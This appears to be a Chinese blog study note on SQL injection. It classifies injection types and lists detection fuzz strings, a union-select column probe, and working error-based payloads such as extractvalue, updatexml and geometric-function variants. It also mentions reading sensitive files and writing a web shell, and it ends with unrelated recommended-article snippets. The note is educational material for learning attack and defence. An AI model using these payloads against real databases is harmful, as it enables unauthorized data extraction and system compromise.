Web安全学习笔记 SQL注入上

繁枝插云欣 ——ICML8


  1. SQL注入分类
  2. SQL注入检测

一.注入分类

1.简介

SQL注入是一种代码注入技术
用于攻击数据驱动的应用程序
在应用程序中,如果没有做恰当的过滤
则可能使得恶意的SQL语句被插入输入字段中执行
例如将数据库内容转储给攻击者

2.按技巧分类

根据使用的技巧,SQL注入类型可分为:

1.盲注

布尔盲注:

只能从应用返回中推断语句执行后的布尔值

时间盲注:

应用没有明确的回显
只能使用特定的时间函数来判断

2.报错注入

应用会显示全部或者部分的报错信息

3.堆叠注入

有的应用可以加入
后一次执行多条语句

4.其他方法

3.按获取数据的方式分类

根据获取数据的方式分为3类:

1.inband

利用Web应用来直接获取数据
如报错注入
这类注入都是通过站点的响应
或者错误反馈来提取数据

2.inference

通过Web的一些反映来推断数据
如布尔盲注,也就是我们通俗的盲注
通过web应用的其他改变来推断数据

3.out of band (OOB)

通过其他传输方式来获得数据
比如DNS解析协议和电子邮件

二.注入检测

1.常见的注入点

GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名

2.Fuzz注入点

' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
反引号执行

3.测试用常量

@@version
@@servername
@@language
@@spid

4.测试列数

例如

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回

5.报错注入

select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)

5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个commit 5caea4中被修复,在5.5.x较后的版本中同样不再生效。

6.堆叠注入

;select 1

7.注释符

#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/

8.判断过滤规则

是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码

9.获取信息

1.判断数据库类型

and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库

2.判断数据库表

and exsits (select * from admin)

3.版本、主机名、用户名、库名

4.表和字段

  1. 确定字段数
Order By
Select Into
  1. 表名、列名

10.测试权限

文件操作

读敏感文件
写shell

带外通道

网络请求

Web安全学习笔记 SQL注入上的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  3. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. Web安全攻防笔记-SQL注入

    information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库) information_schema的三个表: SCHEMAT ...

  6. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  7. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

  8. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

  9. ASP.NET Core Web开发学习笔记-1介绍篇

    ASP.NET Core Web开发学习笔记-1介绍篇 给大家说声报歉,从2012年个人情感破裂的那一天,本人的51CTO,CnBlogs,Csdn,QQ,Weboo就再也没有更新过.踏实的生活(曾辞 ...

随机推荐

  1. BMZCTF 2020祥云杯到点了

    2020祥云杯到点了 下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来 得到提示 我们查看属性应该就是日期了我们先把他记录下来 然后打开第二个文档 输入刚刚的密码 在第二个wor ...

  2. 如何正确的阅读Datasheet?

    不仅仅是芯片,包括工具.设备几乎任何电子产品,都需要去阅读它的datasheet,除了包括最低.最高要求,特点,建议和用途及其兼容的设备等等,更重要的是原厂商以一个成功者的身份去告诉你一些注意事项. ...

  3. DOS、DOS攻击、DDOS攻击、DRDOS攻击

    https://baike.baidu.com/item/dos%E6%94%BB%E5%87%BB/3792374?fr=aladdin DOS:中文名称是拒绝服务,一切能引起DOS行为的攻击都被称 ...

  4. 菜鸟的谷歌浏览器devtools日志分析经验

    1 别管什么性能,尽可能输出详细的必要日志.(除非你明显感觉到性能变低,而且性能变低的原因是由于日志输出太多而引起的) 2 不要总是使用console.log,试试console.info, cons ...

  5. Canvas 核心技术

    最近项目需求中要写较多H5小游戏,游戏本身体量不是很复杂,主要是承载较多业务逻辑,所以决定用canvas来完成游戏部分.之前只是知道H5中有canvas这个东西,也知道它大概是画图的,但具体怎么用,还 ...

  6. ubantu14.04搜狗拼音安装

    1. 先卸载fcitx: sudo apt-get purge fcitx*2. 安装fcitx和libssh2-1: sudo apt-get install fcitx 和 sudo apt-ge ...

  7. java中对象属性可以是另外一个对象或对象的参考

    7.对象的属性可以是另外一个对象或对象的参考   通过这种方法可以迅速构建一个比较大的系统. class Motor {     Light[] lights;     Handle left, ri ...

  8. PAT 1048数字加密

    本题要求实现一种数字加密方法.首先固定一个加密用正整数 A,对任一正整数 B,将其每 1 位数字与 A 的对应位置上的数字进行以下运算:对奇数位,对应位的数字相加后对 13 取余--这里用 J 代表 ...

  9. add jars、add external jars、add library、add class folder的区别

    add external jars = 增加工程外部的包add jars = 增加工程内包add library = 增加一个库add class folder = 增加一个类文件夹add jar是表 ...

  10. 拼写检查-c++

    [问题描述] 作为一个新的拼写检查程序开发团队的成员,您将编写一个模块,用已知的所有形式正确的词典来检查给定单词的正确性.        如果字典中没有这个词,那么可以用下列操作中的一个来替换正确的单 ...